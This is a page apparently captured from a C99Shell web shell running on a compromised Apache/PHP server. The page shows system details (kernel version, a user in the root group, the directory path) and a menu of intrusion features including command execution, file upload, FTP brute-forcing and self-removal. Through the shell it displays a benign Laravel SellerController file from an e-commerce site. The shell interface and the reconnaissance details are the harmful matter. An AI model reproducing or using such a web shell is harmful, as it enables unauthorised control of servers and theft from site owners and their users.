!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Site/   drwxr-xr-x
Free 26.11 GB of 117.98 GB (22.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SellerController.php (3.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package SellerController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 19-01-2022
 */

namespace App\Http\Controllers\Site;

use 
App\Http\Controllers\Controller;
use 
App\Models\{
    
Product,
    
Vendor
};
use 
Illuminate\Database\Eloquent\Builder;
use 
Illuminate\Http\Request;

class 
SellerController extends Controller
{
    
/**
     * Shop
     * @return \Illuminate\Contracts\View\View
     */
    
public function index($alias null)
    {
        
$data['shop'] = \Modules\Shop\Http\Models\Shop::firstWhere('alias'$alias);

        if (
is_null($alias) || !isActive('Shop') || empty($data['shop']) || !Vendor::isVendorExist($data['shop']->vendor_id)) {
            
abort(404);
        }

        
$data['allProducts'] = Product::where('vendor_id'$data['shop']->vendor_id)->paginate(25);
        
$data['displayPrice'] = preference('display_price_in_shop');
        
$data['topSellerIds'] = Vendor::topSeller()->pluck('vendor_id')->toArray();
        
$data['vendor'] = Vendor::with('reviews''shops')->where('id'$data['shop']->vendor_id)->first();
        
$data['reviewCount'] = $data['vendor']->reviews->where('status''Active')->count();
        
$data['avg'] = $data['vendor']->reviews->where('status''Active')->avg('rating');
        
$data['positiveRating'] = Product::positiveRating($data['shop']->vendor_id);

        return 
view('site.shop.index'$data);
    }

    public function 
vendorProfile($alias null)
    {
        
$data['shop'] = \Modules\Shop\Http\Models\Shop::firstWhere('alias'$alias);

        if (
is_null($alias) || !isActive('Shop') || empty($data['shop']) || !Vendor::isVendorExist($data['shop']->vendor_id)) {
            
abort(404);
        }

        
$data['vendor'] = Vendor::with('reviews''shops')->where('id'$data['shop']->vendor_id)->first();
        
$data['reviewCount'] = $data['vendor']->reviews->where('status''Active')->count();
        
$data['avg'] = $data['vendor']->reviews->where('status''Active')->avg('rating');
        
$data['positiveRating'] =  Product::positiveRating($data['shop']->vendor_id);
        
$data['reviews'] = $data['vendor']->reviews()->where('reviews.status''Active')->orderBy('created_at''desc')->with('user')->paginate(5);
        
$data['progessBarRating'] = $data['vendor']->reviews()->where('reviews.status''Active')->select(\DB::raw('count("rating") as total_rating, rating'))->groupBy('rating')->orderBy('rating',  'desc')->get()->toArray();
        
$data['topSellerIds'] = Vendor::topSeller()->pluck('vendor_id')->toArray();

        return 
view('site.shop.vendorProfile'$data);
    }

    
/**
     * Review filter
     *
     * @param Request $request
     * @return render view
     */
    
public function searchReview(Request $request)
    {
        if (
$request->ajax()) {
            
$vendor Vendor::with('reviews')->where('id'$request->vendor_id)->first();
            
$reviews $vendor->reviews()->where('reviews.status''Active');
            if (
$request->rating) {
                
$reviews $reviews->where('rating'$request->rating);
            }

            
$reviews $reviews->orderBy('created_at''desc')->with('user:id,name')->paginate(5);
            
$html view('site.shop.review'compact('reviews''vendor'))->render();
            return 
$this->successResponse(['data' => $html]);
        }
        
abort(403);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--